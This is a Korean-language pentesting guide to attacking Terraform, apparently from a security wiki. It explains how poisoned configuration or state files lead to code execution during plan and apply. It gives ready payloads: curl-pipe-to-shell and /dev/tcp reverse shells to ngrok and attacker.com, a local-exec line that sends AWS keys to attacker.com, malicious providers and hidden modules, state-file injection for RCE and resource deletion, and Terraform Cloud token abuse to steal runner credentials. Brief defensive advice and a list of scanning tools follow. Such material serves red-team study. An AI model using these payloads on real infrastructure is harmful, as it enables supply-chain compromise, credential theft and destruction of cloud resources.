Terraform Security

Reading time: 15 minutes

Basic Information

From the docs:

HashiCorp Terraform은 코드로서의 인프라 도구로, 인간이 읽을 수 있는 구성 파일에서 클라우드 및 온프레미스 리소스를 정의할 수 있게 해줍니다. 이러한 파일은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨팅, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다.

Terraform은 어떻게 작동하나요?

Terraform은 클라우드 플랫폼 및 기타 서비스에서 리소스를 생성하고 관리하기 위해 애플리케이션 프로그래밍 인터페이스 (API)를 사용합니다. 공급자는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다.

HashiCorp와 Terraform 커뮤니티는 이미 1700개 이상의 공급자를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 공급자는 Terraform Registry에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다.

Terraform의 핵심 워크플로는 세 가지 단계로 구성됩니다:

• 작성: 여러 클라우드 공급자 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드 (VPC) 네트워크의 가상 머신에 애플리케이션을 배포하는 구성을 만들 수 있습니다.
• 계획: Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.
• 적용: 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 올바른 순서로 제안된 작업을 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.

Terraform Lab

컴퓨터에 terraform을 설치하세요.

여기 가이드가 있으며, 여기에서 terraform을 다운로드하는 최고의 방법을 확인할 수 있습니다.

Terraform의 RCE: 구성 파일 오염

Terraform은 웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다. 따라서 Terraform을 타협할 수 있는 유일한 방법은 Terraform 구성 파일을 추가/수정할 수 있거나 Terraform 상태 파일을 수정할 수 있는 것입니다 (아래 장 참조).

그러나 Terraform은 타협하기 매우 민감한 구성 요소입니다. 왜냐하면 다양한 위치에 특권 액세스를 가지기 때문에 제대로 작동할 수 있습니다.

공격자가 Terraform이 실행되는 시스템을 타협할 수 있는 주요 방법은 Terraform 구성을 저장하는 리포지토리를 타협하는 것입니다. 왜냐하면 언젠가는 이들이 해석될 것이기 때문입니다.

실제로 PR이 생성된 후 Terraform plan/apply를 자동으로 실행하는 솔루션이 존재합니다. 예를 들어 Atlantis가 있습니다:

Atlantis Security

Terraform 파일을 타협할 수 있다면, 누군가 terraform plan 또는 terraform apply를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.

Terraform plan

Terraform plan은 Terraform에서 가장 많이 사용되는 명령어이며, Terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 RCE를 얻는 가장 쉬운 방법은 terraform plan에서 임의의 명령을 실행할 수 있는 Terraform 구성 파일을 오염시키는 것입니다.

외부 공급자 사용

Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 external 공급자를 제공합니다. external 데이터 소스를 사용하여 plan 중에 임의의 코드를 실행할 수 있습니다.

Terraform 구성 파일에 다음과 같은 내용을 주입하면 terraform plan을 실행할 때 rev shell이 실행됩니다:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

사용자 정의 제공자 사용하기

공격자는 Terraform Registry에 사용자 정의 제공자를 전송한 다음 기능 브랜치의 Terraform 코드에 추가할 수 있습니다 (여기서 예시):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

제공자는 init에서 다운로드되며 plan이 실행될 때 악성 코드를 실행합니다.

예제는 https://github.com/rung/terraform-provider-cmdexec에서 확인할 수 있습니다.

외부 참조 사용하기

언급된 두 가지 옵션은 유용하지만 그리 은밀하지는 않습니다(두 번째 옵션은 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 더 은밀한 방법으로 이 공격을 수행할 수 있습니다:

• terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 외부 리소스를 로드할 수 있습니다:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• 외부 리소스에서 ref 기능을 사용하여 리포지토리 내의 브랜치에 있는 terraform rev shell 코드를 숨길 수 있습니다. 예를 들어: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 악성 Terraform 파일을 주입하여 RCE를 얻기 위해 악용할 수 있습니다 local-exec.
다음과 같은 페이로드가 main.tf 파일에 포함되도록 하면 됩니다:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

이 공격을 더 은밀한 방법으로 외부 참조를 사용하여 수행하기 위해 이전 기술의 제안을 따르십시오.

Secrets Dumps

terraform apply를 실행하여 terraform에서 사용되는 비밀 값을 덤프하려면 terraform 파일에 다음과 같은 내용을 추가하십시오:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform 상태 파일 악용

terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를 변경할 수 없는 경우, 이 연구는 파일을 활용할 수 있는 흥미로운 옵션을 제공합니다. 구성 파일에 대한 쓰기 권한이 있더라도, 상태 파일의 벡터를 사용하는 것이 종종 더 교묘합니다. 왜냐하면 git 기록에 흔적을 남기지 않기 때문입니다.

Terraform에서의 RCE: 구성 파일 오염

사용자 정의 제공자를 생성하는 것이 가능하며 악성 제공자로 terraform 상태 파일의 제공자 중 하나를 교체하거나 악성 제공자를 참조하는 가짜 리소스를 추가할 수 있습니다.

제공자 statefile-rce는 이 연구를 기반으로 하여 이 원리를 무기화합니다. 가짜 리소스를 추가하고 command 속성에 실행하고 싶은 임의의 bash 명령을 명시할 수 있습니다. terraform 실행이 트리거되면, 이는 terraform plan 및 terraform apply 단계에서 읽히고 실행됩니다. terraform apply 단계의 경우, terraform은 명령을 실행한 후 상태 파일에서 가짜 리소스를 삭제하여 스스로 정리합니다. 더 많은 정보와 전체 데모는 이 제공자의 소스 코드를 호스팅하는 GitHub 리포지토리에서 확인할 수 있습니다.

직접 사용하려면, resources 배열의 아무 위치에 다음을 포함하고 name 및 command 속성을 사용자 정의하십시오:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

그런 다음 terraform이 실행되면 코드가 실행됩니다.

리소스 삭제

리소스를 삭제하는 방법은 2가지가 있습니다:

1. 실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기

terraform은 해당 리소스가 존재하지 않아야 한다고 판단하여 이를 삭제합니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},

2. 리소스를 수정하여 업데이트할 수 없도록 삭제하도록 만듭니다 (그래서 삭제되고 재생성됩니다)

EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 재생성하도록 만들 수 있습니다.

블랙리스트에 있는 프로바이더 교체

hashicorp/external이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 external 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 게시된 external 프로바이더의 포크를 사용합니다. 귀하의 포크 또는 재구현을 게시할 수도 있습니다.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

그럼 정상적으로 external을 사용할 수 있습니다.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

이 시나리오는 Terraform Cloud (TFC) 러너를 악용하여 목표 클라우드 계정으로 피벗하는 것입니다.

• 전제 조건:

• 개발자 머신에서 Terraform Cloud 토큰을 훔칩니다. CLI는 ~/.terraform.d/credentials.tfrc.json에 평문으로 토큰을 저장합니다.

• 토큰은 목표 조직/작업 공간에 접근할 수 있어야 하며 최소한 plan 권한이 있어야 합니다. VCS 기반 작업 공간은 CLI에서 apply를 차단하지만 여전히 투기적 계획을 허용합니다.

• TFC API를 통해 작업 공간 및 VCS 설정을 발견합니다:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq

• 외부 데이터 소스를 사용하고 Terraform Cloud "cloud" 블록을 통해 VCS 기반 작업 공간을 대상으로 하여 추측 계획 중에 코드 실행을 트리거합니다:

terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

TFC 러너에서 리버스 셸을 얻기 위한 예제 rsync.sh:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

일시적인 러너에서 프로그램을 실행하기 위한 추측 계획을 실행합니다:

terraform init
terraform plan

• 실행 중에 TFC는 파일과 환경 변수를 통해 공급자 자격 증명을 주입합니다. 실행기에서 주입된 클라우드 자격 증명을 열거하고 유출합니다.

env | grep -i gcp || true
env | grep -i aws || true

러너 작업 디렉토리에서 예상되는 파일:

• GCP:

• tfc-google-application-credentials (워크로드 아이덴티티 연합 JSON 구성)

• tfc-gcp-token (단기 GCP 액세스 토큰)

• AWS:

• tfc-aws-shared-config (웹 아이덴티티/OIDC 역할 가정 구성)

• tfc-aws-token (단기 토큰; 일부 조직은 정적 키를 사용할 수 있음)

• VCS 게이트를 우회하기 위해 단기 자격 증명을 비공식적으로 사용하십시오:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

이 자격 증명을 사용하여 공격자는 VCS를 통해 apply를 차단하는 PR 기반 워크플로를 우회하여 네이티브 CLI를 사용하여 리소스를 직접 생성/수정/삭제할 수 있습니다.

• 방어 지침:
• TFC 사용자/팀 및 토큰에 최소 권한을 적용합니다. 구성원을 감사하고 과도한 소유자를 피하십시오.
• 가능한 경우 민감한 VCS 기반 작업 공간에서 plan 권한을 제한합니다.
• Sentinel 정책을 사용하여 data "external" 또는 알 수 없는 공급자를 차단하는 공급자/데이터 소스 허용 목록을 시행합니다. 공급자 필터링에 대한 HashiCorp 지침을 참조하십시오.
• 정적 클라우드 자격 증명보다 OIDC/WIF를 선호합니다. 러너를 민감한 것으로 취급하십시오. 추측 계획 실행 및 예상치 못한 외부 트래픽을 모니터링합니다.
• tfc-* 자격 증명 아티팩트의 유출을 감지하고 계획 중 의심스러운 external 프로그램 사용에 대해 경고합니다.

자동 감사 도구

Snyk Infrastructure as Code (IaC)

Snyk는 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식의 취약점 및 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캔 솔루션을 제공합니다.

• 기능:
• 보안 취약점 및 규정 준수 문제에 대한 실시간 스캔.
• 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
• 자동 수정 풀 요청.
• 상세한 수정 조언.
• 가입: Snyk에서 계정을 만드십시오.

brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov는 코드로서의 인프라(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.

이 도구는 Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates 또는 OpenTofu를 사용하여 프로비저닝된 클라우드 인프라를 스캔하고 그래프 기반 스캔을 통해 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다.

이 도구는 오픈 소스 패키지 및 이미지에 대한 일반 취약점 및 노출(CVEs)을 스캔하는 소프트웨어 구성 분석(SCA) 스캔을 수행합니다.

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance는 인프라스트럭처-코드에 대한 부정 테스트 기능을 활성화하기 위해 terraform에 대한 경량의 보안 및 준수 중심 테스트 프레임워크입니다.

• compliance: 구현된 코드가 보안 표준 및 사용자 정의 표준을 따르는지 확인합니다.
• behaviour driven development: 거의 모든 것에 대해 BDD가 있는데, IaC에 대해서는 왜 안 될까요?
• portable: pip에서 설치하거나 docker를 통해 실행하기만 하면 됩니다. 설치를 참조하세요.
• pre-deploy: 배포되기 전에 코드를 검증합니다.
• easy to integrate: 모든 배포가 검증되도록 파이프라인(또는 git 훅)에서 실행할 수 있습니다.
• segregation of duty: 별도의 팀이 책임지는 다른 리포지토리에 테스트를 보관할 수 있습니다.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec는 잠재적인 잘못된 구성을 발견하기 위해 terraform 코드를 정적 분석합니다.

• ☁️ 모든 주요 (및 일부 부수적인) 클라우드 제공업체에서 잘못된 구성을 확인합니다.
• ⛔ 수백 개의 내장 규칙
• 🪆 모듈 스캔 (로컬 및 원격)
• ➕ HCL 표현식과 리터럴 값을 평가합니다.
• ↪️ Terraform 함수 예: concat()을 평가합니다.
• 🔗 Terraform 리소스 간의 관계를 평가합니다.
• 🧰 Terraform CDK와 호환됩니다.
• 🙅 사용자 정의 Rego 정책을 적용하고 장식합니다.
• 📃 여러 출력 형식을 지원합니다: lovely (기본값), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
• 🛠️ 구성 가능 (CLI 플래그 및/또는 구성 파일을 통해)
• ⚡ 매우 빠르며, 대규모 리포지토리를 신속하게 스캔할 수 있습니다.

brew install tfsec
tfsec /path/to/folder

KICKS

KICS를 사용하여 인프라 코드의 개발 주기 초기에 보안 취약점, 컴플라이언스 문제 및 인프라 구성 오류를 찾아보세요.

KICS는 Keeping Infrastructure as Code Secure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수적입니다.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

From the docs: Terrascan은 코드로서의 인프라에 대한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:

• 잘못된 구성을 위해 코드로서의 인프라를 원활하게 스캔합니다.
• 구성 변경으로 인한 포지션 드리프트를 모니터링하고, 안전한 포지션으로 되돌릴 수 있게 합니다.
• 보안 취약점 및 규정 준수 위반을 감지합니다.
• 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
• 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.

brew install terrascan

References

• Atlantis Security
• https://alex.kaskaso.li/post/terraform-plan-rce
• https://developer.hashicorp.com/terraform/intro
• https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
• https://github.com/offensive-actions/terraform-provider-statefile-rce
• Terraform Cloud token abuse turns speculative plan into remote code execution
• Terraform Cloud permissions
• Terraform Cloud API – Show workspace
• AWS provider configuration
• AWS CLI – OIDC role assumption
• GCP provider – Using Terraform Cloud
• Terraform – Sensitive variables
• Snyk Labs – Gitflops: dangers of Terraform automation platforms